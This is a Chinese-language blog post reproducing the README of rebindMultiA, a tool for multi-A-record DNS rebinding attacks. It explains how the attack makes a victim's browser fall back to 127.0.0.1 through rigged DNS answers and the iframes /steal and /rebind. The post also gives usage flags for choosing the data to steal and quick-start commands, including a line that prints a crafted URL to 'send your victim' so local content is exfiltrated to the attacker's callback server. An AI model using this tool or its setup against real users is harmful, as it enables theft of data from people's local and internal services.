![RebindMultiA | 执行多个 A 记录重新绑定攻击的工具插图 RebindMultiA | 执行多个 A 记录重新绑定攻击的工具插图](https://blog.eswlnk.com/wp-content/uploads/wpcy/a191105534b569c68c3b1a76dc8f2de9.jpg)
rebindMultiA
是执行多 A 记录重新绑定攻击的工具。
rebindmultia.com
是我为协助这些攻击而设置的域。它使每个 IP 成为该域的自己的权威名称服务器[IP].ns.rebindmultia.com
。例如,13.33.33.37.ns.rebindmultia.com
的权威名称服务器13.33.33.37.ip.rebindmultia.com
解析(如您可能已经猜到的那样)为13.33.33.37
.
多次 A 记录重新绑定攻击
MultiA Record Rebind 攻击是 DNS Rebinding 的一种变体,它利用攻击者使用两个 IP 地址响应 DNS 请求的能力,以及浏览器在第一个不响应时回退到 DNS 响应中的第二个 IP 的倾向. 在这次攻击中,攻击者会配置一个恶意的DNS服务器和两个恶意的HTTP服务器。DNS 服务器将响应两个 A 记录:
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1
然后,受害者浏览器将连接到第一个 IP,并开始与攻击者的第一个恶意 HTTP 服务器进行交互。该服务器将响应一个包含两个 iframe 的页面,一个到/steal
,一个到/rebind
。iframe/steal
将加载恶意页面以进入第二个 iframe 并获取内容。端点/rebind
在命中时将发出 302 重定向/
并杀死第一个恶意 HTTP 服务器。结果,当浏览器返回到攻击者的 HTTP 服务器时,它将遇到一个关闭的端口。因此,它将回退到第二个 IP. 一旦目标内容加载到第二个 iframe 中,第一个 iframe 就可以进入其中,窃取数据,并将其泄露到攻击者的第二个恶意 HTTP 服务器——回调服务器。
此攻击仅适用于Windows环境。 Linux和Mac会默认优先使用私有IP,永远不会查询到攻击者的服务器。
图文+讲解
![RebindMultiA | 执行多个 A 记录重新绑定攻击的工具 RebindMultiA | 执行多个 A 记录重新绑定攻击的工具](https://static.esw.eswlnk.com/2023/05/20230527090335188.jpeg)
- 浏览器解析主机
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com
。 - DNS服务器(包含在
server.py
)解析请求的dns名称,返回两条A记录:13.33.33.37
和127.0.0.1
。 - 受害者的浏览器连接到攻击者的恶意 HTTP 服务器(包含在 中
server.py
)并加载/parent
具有两个 iframe 的页面。 - 受害者的浏览器
/steal
从攻击者的恶意 HTTP 服务器加载。 - 受害者的浏览器加载
/rebind
导致 302 重定向到/
(HTTP 服务器将在此请求后退出)。 - 受害者的浏览器重定向到
/
攻击302
者的服务器。 - 受害者的浏览器尝试从攻击者的(现已失效)HTTP 服务器加载
/
,但未能成功。 - 然后浏览器转移到DNS 缓存中的第二个
127.0.0.1
IP,并将主机名解析为. 然后它会连接到该服务器并加载 iframe 中的页面。 - 攻击者的
steal
iframe 进入新加载的第二个 iframe 并获取内容。 - 攻击者的
steal
iframe 然后将结果发送回攻击者的回调服务器。
用法
pip3 install -r requirements.txt
python3 server.py --help
usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Specify port to attack on targetIp. Default: 80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
Specify the callback HTTP server port. Default: 31337
-d DNS_PORT, --dns-port DNS_PORT
Specify the DNS server port. Default: 53
-f FILE, --file FILE Specify the HTML file to display in the first iframe.(The "steal" iframe). Default: steal.html
-l LOCATION, --location LOCATION
Specify the location of the data you'd like to steal on the target. Default: /
如果您收到此错误:
┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py
Traceback (most recent call last):
File "server.py", line 2, in <module>
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'
然后你需要使用更新版本的 Python。Python 3.7+。
快速开始
这必须从可公开访问的 IP 执行。
git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "Send your victim to http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent to exfil 127.0.0.1"
sudo python3 server.py
📮评论